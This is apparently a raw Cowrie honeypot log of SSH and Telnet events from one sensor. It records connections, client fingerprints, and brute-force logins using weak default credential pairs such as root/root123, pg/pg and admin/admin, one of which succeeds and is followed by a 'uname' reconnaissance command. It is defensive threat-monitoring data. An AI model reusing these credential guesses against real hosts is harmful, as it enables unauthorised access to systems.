{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":46468,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe03823dc0ab","protocol":"ssh","message":"New connection: 103.75.182.198:46468 (10.17.0.5:22) [session: fe03823dc0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:14.243784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:14.252438Z","src_ip":"103.75.182.198","session":"fe03823dc0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:14.453333Z","src_ip":"45.156.87.204","session":"67d2e2e79231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:14.496025Z","src_ip":"103.75.182.198","session":"fe03823dc0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cjkywt","message":"login attempt [root/cjkywt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:15.231502Z","src_ip":"103.75.182.198","session":"fe03823dc0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.548236608505249,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:15.724832Z","src_ip":"152.42.224.71","session":"1b9e60a80b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52420,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5eba4b383e","protocol":"ssh","message":"New connection: 45.156.87.204:52420 (159.203.135.109:22) [session: 9b5eba4b383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:16.451430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:16.456541Z","src_ip":"45.156.87.204","session":"9b5eba4b383e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:16.477275Z","src_ip":"103.75.182.198","session":"fe03823dc0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:16.538716Z","src_ip":"45.156.87.204","session":"9b5eba4b383e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:16.788445Z","src_ip":"45.156.87.204","session":"9b5eba4b383e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:17.873696Z","src_ip":"45.156.87.204","session":"9b5eba4b383e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52428,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b29b59b3468","protocol":"ssh","message":"New connection: 45.156.87.204:52428 (159.203.135.109:22) [session: 3b29b59b3468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:20.059439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:20.063911Z","src_ip":"45.156.87.204","session":"3b29b59b3468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:20.146297Z","src_ip":"45.156.87.204","session":"3b29b59b3468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:20.392121Z","src_ip":"45.156.87.204","session":"3b29b59b3468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:21.477924Z","src_ip":"45.156.87.204","session":"3b29b59b3468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.24987983703613,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:23.658376Z","src_ip":"152.42.224.71","session":"e114176bdabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41358,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc7ca5269385","protocol":"ssh","message":"New connection: 45.156.87.204:41358 (159.203.135.109:22) [session: fc7ca5269385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:23.737780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:23.743044Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:23.828575Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:24.075696Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:24.286770Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:24.290077Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:24.375169Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:24.380803Z","src_ip":"45.156.87.204","session":"fc7ca5269385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.99949908256531,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:25.672779Z","src_ip":"152.42.224.71","session":"07a50f6e0858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41372,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f96599c5f20","protocol":"ssh","message":"New connection: 45.156.87.204:41372 (159.203.135.109:22) [session: 4f96599c5f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:27.506829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:27.516595Z","src_ip":"45.156.87.204","session":"4f96599c5f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:27.590611Z","src_ip":"45.156.87.204","session":"4f96599c5f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.28861689567566,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:27.649261Z","src_ip":"152.42.224.71","session":"2864a4638f5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:27.909527Z","src_ip":"45.156.87.204","session":"4f96599c5f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:28.995494Z","src_ip":"45.156.87.204","session":"4f96599c5f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41386,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8129ea42e23","protocol":"ssh","message":"New connection: 45.156.87.204:41386 (159.203.135.109:22) [session: d8129ea42e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.075669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.081225Z","src_ip":"45.156.87.204","session":"d8129ea42e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.164002Z","src_ip":"45.156.87.204","session":"d8129ea42e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.48948621749878,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.439990Z","src_ip":"152.42.224.71","session":"26278710229d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.446195Z","src_ip":"45.156.87.204","session":"d8129ea42e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9362bb3a0252","protocol":"telnet","message":"New connection: 152.42.224.71:53856 (10.17.0.5:23) [session: 9362bb3a0252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.619189Z"}
{"eventid":"cowrie.session.closed","duration":42.00926756858826,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:31.946609Z","src_ip":"152.42.224.71","session":"e7c1ba610c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:32.529801Z","src_ip":"45.156.87.204","session":"d8129ea42e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41136,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7940f52b253","protocol":"ssh","message":"New connection: 45.156.87.204:41136 (159.203.135.109:22) [session: a7940f52b253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:35.116396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:35.121557Z","src_ip":"45.156.87.204","session":"a7940f52b253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:35.204667Z","src_ip":"45.156.87.204","session":"a7940f52b253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:35.455100Z","src_ip":"45.156.87.204","session":"a7940f52b253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.03612613677979,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:35.955908Z","src_ip":"152.42.224.71","session":"c0e2e480c131","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:36.540319Z","src_ip":"45.156.87.204","session":"a7940f52b253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"34dd1182f9dc","protocol":"telnet","message":"New connection: 152.42.224.71:39304 (10.17.0.5:23) [session: 34dd1182f9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:37.013828Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39316,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f2810db52c","protocol":"telnet","message":"New connection: 152.42.224.71:39316 (10.17.0.5:23) [session: 04f2810db52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:37.707140Z"}
